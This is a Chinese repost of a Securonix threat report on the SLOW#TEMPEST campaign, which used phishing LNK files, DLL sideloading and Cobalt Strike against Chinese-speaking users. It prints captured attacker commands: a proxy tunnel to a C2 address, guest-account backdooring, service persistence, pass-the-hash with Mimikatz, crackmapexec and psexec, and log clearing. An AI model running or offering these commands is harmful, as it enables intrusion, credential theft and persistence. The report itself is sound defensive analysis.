Securonix 威胁研究团队发现了一项针对中文用户的秘密攻击活动,该活动可能通过钓鱼电子邮件发送 Cobalt Strike 负载。攻击者设法横向移动,建立持久性并在系统内潜伏超过两周而不被发现。
在最近被 Securonix 威胁研究人员确定为 SLOW#TEMPEST 的攻击活动中,恶意 ZIP 文件被分发,意图在目标系统上部署 Cobalt Strike 植入程序。
该活动似乎专门针对我国境内的受害者,文件名和诱饵主要以中文书写即可证明这一点。此外,威胁行为者使用的所有命令和控制 (C2) 基础设施均由我国公司深圳腾讯计算机系统有限公司托管在我国。仔细查看恶意样本的遥测数据表明,所涉及的大多数恶意软件和文件都来自我国境内,这进一步证实了我国确实是此次攻击的主要目标的可能性。
关于攻击的来源,我们无法得出明确的结论。此外,虽然我们无法准确确定攻击媒介,但它似乎与传统的网络钓鱼电子邮件策略一致。在 SLOW#TEMPEST 案例中,ZIP 文件(有时受密码保护)很可能是通过未经请求的电子邮件分发的。
…
在超过两周的时间内 ,我们能够跟踪威胁行为者的动向,因为他们能够提升权限、横向移动到其他系统并在每个受感染的主机上建立持久性。我们将在本通报中重点介绍这些策略。
初始感染
代码执行从压缩存档 (.zip) 文件中的快捷方式 (.lnk) 文件开始。我们分析了一些样本,其中一个是“20240739人员名单信息.zip”,翻译过来就是:人员名单信息。
一些样本(例如上述文件)受密码保护。这是 Qakbot 威胁行为者的常用策略,密码在钓鱼电子邮件的正文中提供。加密 zip 文件内容可确保基于电子邮件的防病毒软件无法正确检查和标记任何包含的内容。
打开 zip 文件并输入密码(如果需要)后,用户将看到一个伪装成 .docx 文件的 LNK 文件。其中一个示例包含一个名为“违规远程控制软件人员名单.docx.lnk”的快捷方式文件,其大致翻译为“违反远程控制软件规定的人员名单”。
根据诱饵文件中使用的语言,特定的我国相关商业或政府部门可能会成为目标,因为他们都会雇用遵守“远程控制软件规定”的人员。
诱饵文件和初始代码分析
当用户执行恶意 LNK 文件时,我们的代码执行就开始了。它首先运行一个可执行文件,该文件包含在一个相当奇怪的目录结构中,其中包含对“MACOS”元数据文件的引用。第一个被“????”屏蔽的目录名为“其他信息”,翻译过来就是“附加信息”。
看起来 LNK 文件的图标被设置为同一目录中的 1.docx,但是我们分析的任何 zip 文件中都没有这个文件。这导致文件对用户来说显示为空白或空图标。
图1:漏洞远程控制软件人员名单分析.docx.lnk
在父目录中运行“tree”命令后,可以在下图中看到奇怪的目录结构。
隐藏了LNK文件引用的两个文件:dui70.dll和UI.exe:
图 2:提取 zip 文件内容后“tree”命令的输出
DLL 劫持和 Cobalt Strike 植入执行
“其他信息.__MACOS__._MACOS____MACOSX_MACOS_”目录中有两个文件:dui70.dll 和 UI.exe。UI.exe 文件是 Microsoft 签名的合法可执行文件,已从 LicensingUI.exe 重命名。
LicensingUI.exe 是 Windows 中的一个合法系统文件,负责显示与软件许可和激活相关的用户界面。该合法文件旨在导入多个合法 DLL 文件,其中一个是 dui70.dll,通常位于 C:WindowsSystem32 中。然而,由于存在 DLL 路径遍历漏洞,任何包含相同名称的 DLL 都可以在 LNK 文件执行重命名的 UI.exe 时进行侧载。
在本文发布时,涉及 LicensingUI.exe 的这种 DLL 侧载或劫持技术似乎尚未被报道。有关二进制文件“UI.exe”和证书验证的详细信息如下图所示:
图 3:Cobalt Strike(DLL)和 UI.exe(合法)文件执行。
该 DLL 文件是 Cobalt Strike 植入程序,可让攻击者持久且隐秘地访问系统。我们能够提取其配置,详细信息可在 本出版物末尾的附录 A中查看 。总之,它被编程为通过端口 11443 向 hxxp://123.207.74[.]22/mall_100_100.html 发出信标。
该信标使用“Malleable_C2_Instructions”(附录 A)描述的混淆网络流量,并依靠常见的规避技术(例如删除特定字节段)来绕过基于网络的检测。
Cobalt Strike 植入程序被设计为将自身注入 Windows 二进制文件“runonce.exe”。这产生了一个进程链,如下面的 any.run 进程树所示:
图 4:Cobalt Strike 流程链
当攻击者进入 runonce.exe 进程后,我们的团队能够观察到大部分初始阶段和枚举活动。
后漏洞利用——攻击者操作键盘
现在攻击者已经完全控制了目标主机,我们观察到初始的后期利用活动,包括设置暂存目录以及将其他枚举和攻击工具下载到主机。
首先,攻击者创建了以下目录:C:WindowsTemptmp
接下来,几个二进制文件被下载到目录中:
-
fpr.exe:未知的可执行文件
-
iox.exe:用于端口转发和设置代理连接的工具
-
fscan.exe:红队中著名的扫描程序,用于识别活动主机和开放端口。输出文件为“result.txt”
-
netspy.exe:用于捕获网络流量或扫描网络漏洞的网络侦察工具。日志文件为 netspy.log 和 alive.txt
-
lld.exe:一个 shellcode 加载器二进制文件,在我们的例子中,它加载并执行保存在以下位置的原始 shellcode:C:/Windows/Temp/tmp/tmp.log
-
xxx.txt:与重命名前的 tmp.log 相同
-
tmp.log:包含由 lld.exe 执行的 shellcode 的文件
-
sharpdecryptpwd.exe:基于命令行的实用程序,用于从已安装的应用程序(例如 Navicat、TeamViewer、FileZilla、WinSCP 和 Xmanager)收集和转储缓存的凭据
-
pvefindaduser.exe:用于 Windows Active Directory (AD) 用户枚举。
-
new text document.txt:未知 – 我们无法捕获此文件
-
gogo_windows_amd64.exe:似乎与开源项目“ Nemo ”有关,该项目可自动执行枚举工具,例如 Nmap、Massscan 和许多其他工具。输出“ .sock.lock”和“ output.txt”文件。
攻击者依次执行了这些实用程序或工具。网络端口转发和隧道实用程序“iox.exe”用于与外部基础设施 (49.235.152[.]72:8282) 建立隧道,从而使他们能够从受感染的网络中窃取捕获的枚举信息和其他数据。
权限提升与持久性
攻击者通过创建名为“windowsinspectionupdate”的计划任务,成功维持对受感染环境的持续访问。此任务旨在定期执行恶意可执行文件“lld.exe”。“lld.exe”文件是攻击者工具包中的关键组件,专门用于执行 shellcode,该 shellcode 可直接在内存中运行任意代码。其隐秘性使其能够有效绕过传统的安全控制。
通过安排此任务,攻击者可以确保“lld.exe”反复执行,这样他们即使在重新启动或网络中断后也可以重新建立或保持对受感染系统的控制。这种持久性机制特别有效,因为它可以在系统重新启动后继续存在,因此很难在不识别和删除计划任务的情况下完全消除攻击者的立足点。
任务调度程序执行的命令集为:
cmd /c start c:/windows/temp/tmp/lld.exe c:/windows/temp/tmp/tmp.log
用户和群组修改
攻击者通过手动提升内置 Guest 用户帐户的权限,进一步让自己隐藏在受感染系统中。该帐户通常被禁用且权限极低,通过将其添加到关键管理组并为其分配新密码,该帐户变成了一个强大的接入点。
cmd.exe /c net user guest
cmd.exe /c net localgroup administrators guest /add
cmd.exe /c net localgroup “remote desktop users” guest /add
cmd.exe /c net user guest 1qaz@wsx
cmd.exe /c net user guest
cmd.exe /c net user guest /active:yes
cmd.exe /c net user guest
攻击者对 Guest 帐户的操纵大大增加了系统的安全风险。通过将低权限、通常被禁用的帐户转换为具有管理和远程访问功能的帐户,攻击者创建了一个很容易被忽视的强大后门。由于 Guest 帐户通常不像其他用户帐户那样受到密切监控,因此该后门使他们能够以最少的检测保持对系统的访问。
接下来,攻击者启动网络扫描,主要通过“iox.exe”实用程序,识别和探测其他内部系统(例如,MSSQL 服务器和特定子网)。
通过 Windows 服务实现持久性
攻击者通过手动执行一系列命令来安装恶意服务,进一步确保了他们在受感染环境中的持久性。这项名为“windowsinspectionupdate”的服务专门设计为每次系统启动时运行单个可执行文件“lld.exe”,并将单个文件“tmp.log”作为输入。如果你还记得的话,这个可执行文件的目的是执行一个 shellcode 文件。这种技术允许攻击者在系统重新启动或遇到其他中断后继续访问受感染的系统。
观察到该服务是使用以下命令序列创建的:
cmd.exe /c start /b lld.exe xxx.txt
cmd.exe /c move xxx.txt tmp.log
cmd.exe /c sc create “windowsinspectionupdate” binpath= “cmd /c start c:/windows/temp/tmp/lld.exe c:/windows/temp/tmp/tmp.log”
cmd.exe /c sc description windowsinspectionupdate “windows inspection integrity”
cmd.exe /c sc config windowsinspectionupdate start= auto
横向移动和凭证窃取
攻击者主要使用 RDP(远程桌面协议)在网络中横向移动。他们首先尝试使用最初被入侵的用户账户登录其他系统,但未成功。
最终,从主机名到另一台加入域的服务器成功建立了 RDP 连接。进入后,他们启动了多个侦察和扫描工具,例如 fscan.exe 和 netspy.exe。根据这些工具输出的拦截结果文本文件,五台主机有开放端口,攻击者开始枚举这些端口。
他们还使用诸如 sharpdecryptpwd.exe 之类的凭证窃取工具从浏览器(此攻击链中的 Chrome 浏览器)中提取存储的凭证。然后使用浏览器中存储的凭证进行身份验证并通过网络传输到其他系统。
cmd.exe /c sharpdecryptpwd.exe chrome
我们观察到 Cobalt Strike 进程“lld.exe”使用了 Windows 凭据转储实用程序 Mimikatz。此外,攻击者还试图将哈希作为捕获的用户和哈希组合之一传递。用户的目标是 mstc.exe 进程,它是 Microsoft 远程桌面连接工具的可执行文件。以下捕获的命令以目标用户的身份启动 RDP 会话。使用 /restrictedadmin 标志可确保用户的凭据不会通过网络发送,这可能会减少基于网络的检测。
sekurlsa::pth /user:[REDACTED] /domain:[REDACTED] /ntlm:[REDACTED] “/run:mstsc.exe /restrictedadmin”
在另一次横向移动尝试中,攻击者使用了从 mimikatz 中获取的凭据。此外,通过 Cobalt Strike 植入程序,攻击者首先尝试通过将哈希值传递给 ip.txt 文件中收集的 IP 地址列表来以管理员用户身份进行身份验证。
crackmapexec smb ip.txt -u [REDACTED_DOMAIN]/Administrator -H [REDACTED_HASH]
不久之后,我们发现 psexec.py 被用于定位特定的 IP 地址:
python3 psexec.py [REDACTED_USER]@[REDACTED_IP] -hashes [REDACTED_HASH] -codec gbk
在 LSA 中禁用“受限管理模式”
最初,攻击者使用 RDP 建立内部远程连接。在横向移动时,他们执行注册表命令,通过在 Windows 注册表中将 disablerestrictedadmin 值设置为 0 来禁用“受限管理模式”。受限管理模式是 Windows 较新版本中引入的一项安全功能,可在通过远程桌面协议 (RDP) 连接到远程系统时限制凭据暴露。
cmd.exe /c reg add “HKLMSystemCurrentControlSetcontrollsa” /v disablerestrictedadmin /t reg_dword /d 00000000 /f
然后使用以下命令验证更改:
cmd.exe /c reg query “hklmsystemcurrentcontrolsetcontrollsa” | findstr “disablerestrictedadmin”
重新建立远程连接
一旦攻击者成功进入其他系统,就会使用 iox.exe 与他们的 C2 服务器建立另一个远程连接:
cmd.exe /c start /b iox.exe proxy -r *49.235.152[.]72:8282 -k 616161
重新建立远程连接
一旦攻击者成功进用于域名枚举的 Bloodhound
作为后利用/横向移动阶段的一部分,攻击者部署了 BloodHound,这是一种用于活动目录 (AD) 侦察的强大工具。BloodHound 旨在绘制和分析 AD 环境中的关系,为攻击者提供详细数据,以识别和利用特权提升和横向移动的潜在途径。
在 SLOW#TEMPEST 活动过程中,BloodHound 通过 runonce.exe 进程执行,如果您还记得的话,它是 Cobalt Strike 的目标或退出进程。部署后,BloodHound 收集了 AD 环境的大量数据,包括有关用户、计算机、组、组织单位、组策略对象和其他域组件的信息。
BloodHound 收集的数据随后被编译成几个 .json 文件,提供 AD 结构的详细地图。这些文件随后被压缩成 BloodHound.zip 存档。一旦泄露,攻击者就可以在自己的系统上详细分析数据。
附加枚举命令
这些命令在多个系统上被捕获。攻击者使用内置 Windows 实用程序(例如 ping、netstat 和 tasklist)来扫描或探测其环境。我国的公共 IP 信息网站 (hxxp://myip[.]ipip.net) 也使用“curl”探测以获取系统的公共 IP 地址。
通用系统枚举命令
cmd.exe /c ipconfig
cmd.exe /c wevtutil cl “windows powershell”
cmd.exe /c ping [REDACTED]
cmd.exe /c tasklist /svc
cmd.exe /c systeminfo
cmd.exe /c net time /domain
cmd.exe /c ping dc.[REDACTED] -c 2
cmd.exe /c net
cmd.exe /c net user /domain
cmd.exe /c net user [REDACTED] /domain
cmd.exe /c start /b fpr.exe
cmd.exe /c netstat -ano
cmd.exe /c whoami
cmd.exe /c fpr.exe
cmd.exe /c ping 123.56.168[.]30
cmd.exe /c net user [REDACTED] /domain
net1 user [REDACTED] /domain
cmd.exe /c netstat -ano | findstr 3398
netstat -ano |findstr established
使用 iox.exe 的代理连接
cmd.exe /c start /b iox.exe proxy -r *49.235.152[.]72:8282 -k 616161
cmd.exe /c curl hxxp://myip.ipip[.]net
执行shellcode,移动文件以用于新服务
cmd.exe /c start /b lld.exe xxx.txt
cmd.exe /c move xxx.txt tmp.log
使用 fscan.exe 枚举本地子网
cmd.exe /c fscan.exe -h [REDACTED]/24
cmd.exe /c fscan.exe -hf alive.txt
查找 AD 用户
pvefindaduser.exe -current -noping -os
Nemo 网络枚举
gogo_windows_amd64.exe -i [REDACTED]/24 -p all -f output.txt
gogo_windows_amd64.exe -i [REDACTED]/24 -p 445 -f output.txt
gogo_windows_amd64.exe
gogo_windows_amd64.exe [REDACTED]/24 -p 445
gogo_windows_amd64.exe -i [REDACTED]/24 -p 445
攻击者基础设施分析
在攻击进行期间,我们能够观察到攻击的关键细节。其中一些包括攻击者的 OPSEC(操作安全)故障。一个例子是捕获 Cobalt Strike 命令。我们观察到几个实例,其中一些 OPSEC 故障导致我们提供有关攻击者基础设施的用户名和系统信息的意外详细信息。例如,以下捕获的 Cobalt Strike 命令:执行程序集
/Users/apple/Desktop/C++/sb.exe -e hxxps://360-1305242994.cos.ap-nanjing.myqcloud[.]com/wel/ns/sa64.gif -sc:\windows\system32\runonce.exe -a “browser -b all -z” –disable-bypass-cmdline –disable-bypass-amsi –disable-bypass-etw
从攻击者那里捕获的命令可以深入了解使用 Cobalt Strike 的 execute-assembly 模块执行有效负载的情况。二进制文件从“/Users/apple/Desktop/C++/sb.exe”传入,根据目录结构,这表明攻击者正在从 macOS 环境运行 Cobalt Strike。这在技术上并不新鲜,因为 早在 2022 年就通过 Geacon观察到了活动。
sb.exe 进程似乎是 SharpBlock的编译版本,SharpBlock 是一种开源工具,允许绕过 EDR 和 Microsoft 的反恶意软件扫描接口 (AMSI),以植入攻击者控制的指定进程。sa64.gif 是 searchall64.exe 的重命名副本,searchall64.exe 是一个名为 searchall 的开源实用程序 ,旨在搜索目标计算机上的敏感信息,包括用户名、密码、帐户详细信息。
在同一个 Cobalt Strike 会话中,我们从以下本地路径观察到文件执行,这为我们提供了另一个用户名,这次是“guoyansong”,它可能是 Guoyan Song 的缩写,这是一个有效的中文姓氏和名字。
/Users/guoyansong/D/gongju/????/??????/????/SharpWeb.exe
最后,所有 IP 地址均通过深圳腾讯计算机系统有限公司托管在我国。托管在 360-1305242994.cos.ap-nanjing.myqcloud[.]com 的有效载荷也由我国公司腾讯通过腾讯云对象存储 (COS) 资源托管。
总结…
Securonix 威胁研究团队发现的 SLOW#TEMPEST 活动揭示了针对中文用户的组织严密且复杂的攻击。虽然没有确凿证据表明此次攻击与任何已知的 APT 组织有关,但它很可能是由经验丰富的威胁行为者策划的,他们曾使用过 CobaltStrike 等高级漏洞利用框架和各种其他后漏洞利用工具。该活动的复杂性体现在其对初始入侵、持久性、特权升级和网络横向移动的系统性方法上。
使用未记录的 DLL 注入技术(例如利用 Microsoft 签名的可执行文件 LicensingUI.exe 和部署 BloodHound 进行 Active Directory 侦察)体现了此攻击的先进性。此外,威胁行为者通过创建计划任务和提升用户权限来确保持久性,这凸显了攻击者意图长期控制目标系统,在本案中,这种控制持续了两周以上。
MITRE ATT&CK 矩阵
策略 | 技术 |
初始访问 | T1078.001:有效帐户:默认帐户
T1566.001:网络钓鱼:鱼叉式网络钓鱼附件 |
收藏 | T1560:存档收集的数据 |
指挥与控制 | T1132:数据编码 |
凭证访问 | T1003:操作系统凭证转储
T1555:来自密码存储的凭证 |
防御规避 | T1070.004:指标删除:文件删除
T1562.001:削弱防御能力:禁用或修改工具 T1574.001:劫持执行流程:DLL 搜索顺序劫持 T1620:反射代码加载 |
发现 | T1033:系统所有者/用户发现
T1057:流程发现 T1069:权限组发现:域组 |
执行 | T1059.001:命令和脚本解释器:PowerShell
T1059.003:命令和脚本解释器:Windows 命令 Shell T1059.006:命令和脚本解释器:Python T1569.002:系统服务:服务执行 T1204.001:用户执行:恶意链接 T1204.002:用户执行:恶意文件 |
横向移动 | T1021.001:远程服务:远程桌面协议
T1550.002:使用备用身份验证材料:传递哈希值 |
持久性 | T1053:计划任务/作业 |
泄漏 | T1041:通过 C2 通道渗漏 |
原文始发于微信公众号(Ots安全):从 Cobalt Strike 到 Mimikatz:深入剖析攻击活动
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论